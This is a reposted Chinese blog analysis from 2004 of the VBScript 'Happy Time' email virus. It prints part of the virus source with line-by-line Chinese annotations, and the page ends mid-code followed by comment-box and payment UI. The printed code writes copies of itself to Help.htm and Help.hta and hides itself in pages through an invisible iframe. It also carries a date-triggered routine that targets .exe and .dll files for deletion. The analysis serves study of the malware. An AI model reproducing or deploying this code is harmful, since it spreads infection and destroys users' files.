欢乐时光病毒原码分析

本文详细探讨了欢乐时光病毒的原码,涉及到VBScript的使用,深入解析了其如何利用Each循环、Shell命令及HTML和Express等技术进行传播和影响。通过对这些关键点的分析,揭示了病毒的工作原理。
欢乐时光病毒原码分析
作者:swords
出处: ColorWolf:Swords
性质:转载
发布日期:2004-08-15
 
<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload                                ----------------------从mload开始罪恶的历程
Sub mload()                                  
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then                        ----------------------如果本程序是网页,就是在Outlook
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:/Help.htm"               ----------------------建立help.htm
Os.Doc = Lhtml()                      ------------调入全部源码
Os.Write()                            ----------------------存储自身到help.htm
Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then    
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)       ---------调用mclose
main                                ----------------进入主程序
Else
Os.Reset()
Os.Path = mPath & "/" & "Help.hta"        ------------建立Help.hta文件
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main      
End If
End Sub
Sub main()                                      ----------------主程序
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER/Software/"              -----------------写注册表
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:/help.htm") Then
Of.DeleteFile ("C:/help.htm")
End If
Key = CInt(Month(Date) + Day(Date))             ---------------注意:破坏动作
If Key = 13 Then                                ---------------如果月日之和等于13
Od.RemoveAll
Od.Add "exe", "0001"                            ---------------删除.exe.dll文件
Od.Add "dll", "0001"
End If
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值